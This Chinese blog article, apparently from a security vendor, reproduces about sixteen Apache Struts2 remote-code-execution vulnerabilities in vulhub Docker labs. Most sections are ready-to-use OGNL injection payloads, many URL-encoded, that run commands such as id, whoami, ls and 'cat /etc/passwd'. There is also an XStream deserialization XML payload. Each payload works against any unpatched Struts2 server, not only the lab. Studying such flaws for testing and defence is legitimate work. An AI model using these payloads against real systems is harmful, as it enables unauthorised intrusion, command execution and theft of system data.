目录

一、S2-001复现

二、S2-005复现

三、S2-007复现

四、S2-008复现

五、S2-009复现

六、S2-012复现

七、S2-013复现

八、S2-015复现

九、S2-016复现

十、S2-045复现

十一、S2-048复现

十二、S2-052复现

十三、S2-053复现

十四、S2-057复现

十五、S2-019复现

十六、S2-devMode 复现



Apache Struts2 是一个基于MVC设计模式的Web应用框架,会对某些标签属性(比如 id)的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行。

专注于漏洞攻防的华云安整理了堪称史上最全的Struts 2 漏洞复现,共17个。

今天和大家分享上部,请大家持续关注华云安。

一、S2-001复现

原理:该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。

影响版本:Struts 2.0.0 - 2.0.8

复现步骤

1. 进入vulhub目录下漏洞环境的目录

命令:

cd ../soft/vulhub-master/structs2/s2-001

2.自动编译化环境

命令:

docker-compose build

3.启动整个编译环境

docker-compose up -d

4.查看是否启动成功

docker ps(正在运行的环境)

5.然后访问靶机IP192.168.100.244:8080

6. 先来测试一下是否真的存在远程代码执行

返回了参数值说明漏洞存在

7.构造poc,填到password框

Poc:%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

语句被执行,查看返回的语句是/user/local/tomcat,即tomcat的执行语句

8.构造获取web路径poc:

Poc:%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

可见返回了web路径,为/usr/local/tomcat/webapps/ROOT

9.构造查看权限的poc:

Poc:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

返回的是root

10. 执行任意命令时只需要,将上面poc里whoami的命令替换

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

11. 关闭docker环境

命令:

docker-compose down -v

二、S2-005复现

原理:s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开

影响版本:Struts 2.0.0-2.1.8.1

复现步骤

1.进入到005的环境目录下并启动环境

命令:

docker-compose up -d

2.访问靶机:http://192.168.100.244:8080/

3.构造poc发送数据包,使用抓包工具burp suite,修改数据包插入poc

Poc1:(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

Poc2:?%27%2B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29%2B%27

4.查看数据连接状态

命令:docker exec -it ea8f121978e0 /bin/bash

ls /tmp

三、S2-007复现

原理:age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞

影响版本:Struts 2.0.0 - 2.2.3

复现步骤:

1.进入到007的环境目录下并启动环境

命令:

cd ../s2-007

命令:

docker-compose up -d

2.访问靶机:http://192.168.100.244:8080/

3.构造poc,使用抓包工具burp suite,修改数据包插入poc

%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27

Poc2:' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

查看日志

命令:docker ps 找到对应id

命令:

docker exec -it fb40896f2b09 /bin/bash

cd logs

命令:

cat localhost_access_log.2020-07-13.txt

日志显示访问成功

四、S2-008复现

原理:S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但是这种情况在生产环境中几乎不可能存在,所以还是很鸡肋。

影响版本:Struts 2.1.0 – 2.3.1

复现步骤:

1.进入到008的环境目录下并启动环境

命令:

cd ../s2-008

命令:

docker-compose up -d

2.访问靶机:http://192.168.100.244:8080/

3.构造poc,使用抓包工具burp suite,修改数据包插入poc

Poc:devmode.action?debug=command&expression=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id

五、S2-009复现

原理:OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。ParametersInterceptor中的正则表达式将top ['foo'](0)作为有效的表达式匹配,OGNL将其作为(top ['foo'])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护。

影响版本:Struts 2.1.0 - 2.3.1.1

复现步骤:

1.进入到009的环境目录下并启动环境

命令:

cd ../s2-009

命令:

docker-compose up -d

2.访问靶机:http://192.168.100.244:8080/

3.构造poc,使用抓包工具burp suite,修改数据包插入poc

Poc1:/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

Poc2:POST /ajax/example5 HTTP/1.1Accept: */*Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 425Host: ********************z[%28name%29%28%27meh%27%29]&age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#s=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#s.println(#d),#s.close())(meh)

六、S2-012复现

原理:如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

影响版本:Struts 2.1.0-2.3.13

复现步骤:

1.进入到012的环境目录下并启动环境

命令:

cd ../s2-012

命令:

docker-compose up -d

2.访问靶机http://192.168.100.244:8080

3.构造poc,使用抓包工具burp suite,修改数据包插入poc

Poc1:%25%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%7b%22%2f%62%69%6e%2f%62%61%73%68%22%2c%22%2d%63%22%2c%20%22%6c%73%22%7d%29%29%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%2e%73%74%61%72%74%28%29%2c%23%62%3d%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%66%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%22%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%22%29%2c%23%66%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%65%29%29%2c%23%66%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%66%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29%7d

Poc2:原始poc:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash","-c", "ls})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

注:利用此漏洞需要进行url编码

%25%7B#a=(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22cat%22,%20%22/etc/passwd%22%7D)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new%20java.io.InputStreamReader(#b),#d=new%20java.io.BufferedReader(#c),#e=new%20char%5B50000%5D,#d.read(#e),#f=#context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22),#f.getWriter().println(new%20java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()%7D

七、S2-013复现

原理:struts2的标签中 和 都有一个 includeParams 属性,可以设置成如下值

  • none - URL中不包含任何参数(默认)
  • get - 仅包含URL中的GET参数
  • all - 在URL中包含GET和POST参数

此时 或尝试去解析原始请求参数时,会导致OGNL表达式的执行

影响版本:Struts 2.0.0-2.3.14

复现步骤:

1.进入到013的环境目录下并启动环境

命令:

cd ../s2-013

命令:

docker-compose up -d

2. 访问靶机http://192.168.100.244:8080

3.构造poc,使用抓包工具burp suite,修改数据包插入poc

Poc:a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

八、S2-015复现

原理:如果一个请求与任何其他定义的操作不匹配,它将被匹配*,并且所请求的操作名称将用于以操作名称加载JSP文件。并且,1作为OGNL表达式的威胁值,{ }可以在服务器端执行任意的Java代码。这个漏洞是两个问题的组合:

  • 请求的操作名称未被转义或再次检查白名单
  • 在TextParseUtil.translateVariables使用组合$和%开放字符时对OGNL表达式进行双重评。

影响版本:Struts 2.0.0 - 2.3.14.2

复现步骤:

1.进入到015的环境目录下并启动环境

命令:cd ../s2-015

命令:docker-compose up -d

2. 访问靶机http://192.168.100.244:8080

3.构造poc,使用抓包工具burp suite,修改数据包插入poc

Poc1:

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}

注:这里直接使用是没有用的需要进行url编码才能使用

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action

Poc2:

${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()),#q}.action。

url编码之后:

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action

九、S2-016复现

原理:问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行。

影响版本:Struts 2.0.0 – 2.3.15

复现步骤:

1.进入到016的环境目录下并启动环境

命令:cd ../s2-016

命令:docker-compose up -d

2. 访问靶机http://192.168.100.244:8080

3.构造poc,使用抓包工具burp suite,修改数据包插入poc

Poc:

index.action?redirect:%24%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%7b%27%6c%73%27%2c%27%2f%27%7d%29%29%2e%73%74%61%72%74%28%29%2c%23%62%3d%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6d%61%74%74%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%23%65%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29%7d

十、S2-045复现

原理:在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

影响版本:

  • Struts2.3.5 – 2.3.31
  • Struts2.5 – 2.5.10

复现步骤:

1.进入到045的环境目录下并启动环境

命令:cd ../s2-045

命令:docker-compose up -d

2. 访问靶机http://192.168.100.244:8080/doUpload.action

3.构造poc,使用抓包工具burp suite,修改数据包插入poc

Poc:

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(100*5000)).(#ros.flush())}

十一、S2-048复现

原理:Apache Struts 1插件的Apache Struts 2.3.X版本中存在远程代码执行漏洞,该漏洞出现于Struts2的某个类中,该类是为了将Struts1中的Action包装成为Struts2中的Action,以保证Struts2的兼容性。在Struts2中的Struts1插件启用的情况下,远程攻击者可通过使用恶意字段值,构造特定的输入,发送到ActionMessage类中,从而导致任意命令执行,进而获取目标主机系统权限

影响版本:Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本

复现步骤

1.进入到048的环境目录下并启动环境

命令:cd ../s2-048

命令:docker-compose up -d

2. 访问靶机http://192.168.100.244:8080/integration/editGangster.action

3.构造poc,使用抓包工具burp suite,修改数据包插入poc

Poc1:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

Poc2:

name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%29.%28%23q%29%7D

十二、S2-052复现

原理:Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可被远程攻击。

影响版本:

  • Struts 2.1.2 - Struts 2.3.33
  • Struts 2.5 - Struts 2.5.12

复现步骤:

1.进入到052的环境目录下并启动环境

命令:cd ../s2-052

命令:docker-compose up -d

2. 访问靶机http://192.168.100.244:8080

点击edit进入到http://192.168.100.244:8080/orders/3/edit页面下,点击一下submit

3.构造poc, 使用抓包工具burp suite,修改数据包插入poc

Poc:

<map>
<entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command><string>touch</string><string>/tmp/test.txt</string></command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next>foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer/><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>

3.执行docker-compose exec struts2 ls /tmp/ 查看命令是否执行成功

十三、S2-053复现

原理:Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

影响版本:

  • Struts 2.0.1-2.3.33
  • Struts 2.5-2.5.10

复现步骤:

1.进入到053的环境目录下并启动环境

命令:cd ../s2-053

命令:docker-compose up -d

2.访问靶机http://192.168.100.244:8080/hello

3.构造poc, 使用抓包工具burp suite,修改数据包插入poc

Poc:

redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmds%3D%28%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%27id%27%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A

十四、S2-057复现

原理:

  • -alwaysSelectFullNamespace为true。
  • -action元素没有设置namespace属性,或者使用了通配符。
  • 命名空间将由用户从url传递并解析为OGNL表达式,最终导致远程代码执行漏洞

影响版本:

  • Struts 2.3–2.3.34
  • Struts2.5–2.5.16

复现步骤:

1.进入到057的环境目录下并启动环境

命令:cd ../s2-057

命令:docker-compose up -d

2.访问靶机192.168.100.244:8080/index

3.构造poc,使用抓包工具burp suite,修改数据包插入poc

Poc:

/index/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

十五、S2-019复现

原理:要求开发者模式,且poc第一个参数是debug,触发点在DebuggingInterceptor上,查看intercept函数,从debug参数获取调试模式,如果模式是command,则把expression参数放到stack.findValue中,最终放到了ognl.getValue中

影响版本:Struts 2.0.0 - 2.3.15.1

复现步骤:

1、拉取漏洞环境镜像到本地

命令:docker pull medicean/vulapps:s_struts2_s2-019

2、启动漏洞环境

命令:docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-019

3、访问192.168.50.118:8080

4、poc 利用

?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println('dbapp:'+new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()

注:利用时需对poc进行url编码

原理:Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中。

在Struts2中,如下的标签就调用了OGNL进行取值。

<p>parameters: <s:property value="#parameters.msg" /></p>

Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。S2-029仍然是依靠OGNL进行远程代码执行。

影响版本:Struts 2.0.0 - 2.3.24.1(不包括2.3.20.3)

复现步骤:

1. 拉取漏洞环境镜像到本地

命令:docker pull medicean/vulapps:s_struts2_s2-029

2. 启动环境

命令:docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-029

3. 访问192.168.50.118:8080/default.action

4.Poc利用

(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

十六、S2-devMode 复现

原理:当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

影响版本:当Struts开启devMode时,该漏洞将影响Struts 2.1.0–2.5.1,通杀Struts2所有版本。

复现步骤:

1. 拉取漏洞环境到本地

命令:docker pull medicean/vulapps:s_struts2_s2-devmode

2. 启动漏洞环境

命令:docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-devmode

3. 访问漏洞环境192.168.0.110

4. Poc利用

debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id

注:修改参数 command 的值为要执行的命令

java struts2 漏洞复现合集相关推荐

  1. Struts2漏洞复现合集

    1. Struts2简介 Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图 ...

  2. 京东java笔试_2017阿里,百度,京东java面试+笔试大合集,2018的你会吗?

    2017阿里,百度,京东java面试+笔试大合集 1.阿里 面试(一二面合集) 1.介绍一下你自己. 2.介绍一下你认为做的最好的一个项目. 3.请用五分钟的时间把你做的项目的流程图画一下. 4.项目 ...

  3. java老师和学生(java老师学生类合集)

    Java学生老师类是一种用于模拟学生和老师之间的关系的类,通过它可以模拟学生和老师之间的信息交互.学生交作业等行为. 1.java老师和学生什么意思说法一,两种身份.java老师和学生是指在学习jav ...

  4. Java中级面试题合集

    Java中级面试题合集:1.弹出式选择菜单(Choice)和列表(List)有什么区别 Choice是以一种紧凑的形式展示的,需要下拉才能看到所有的选项.Choice中一次只能选中一个选项.List同 ...

  5. 【11款最全最新】Java游戏开发项目合集_Java项目实战_Java练手项目

    黄金矿工.俄罗斯方块.飞机大战.超级玛丽.坦克大战.飞翔的小鸟.扫雷.王者荣耀.推箱子.贪吃蛇.大鱼吃小鱼这些经典小游戏相信很多人都玩过.那大家有没有想过亲自制作出这些小游戏呢? 下面就给大家分享这1 ...

  6. 【11款最全最新】Java游戏开发项目合集(上)_Java项目实战_Java练手项目

    黄金矿工.俄罗斯方块.飞机大战.超级玛丽.坦克大战.飞翔的小鸟等等经典小游戏相信很多人都玩过.大家有没有想过亲自制作出这些小游戏呢? 今天给大家分享11款经典小游戏的Java开发教程,快来戳下方视频学 ...

  7. Struts2漏洞分析与复现合集

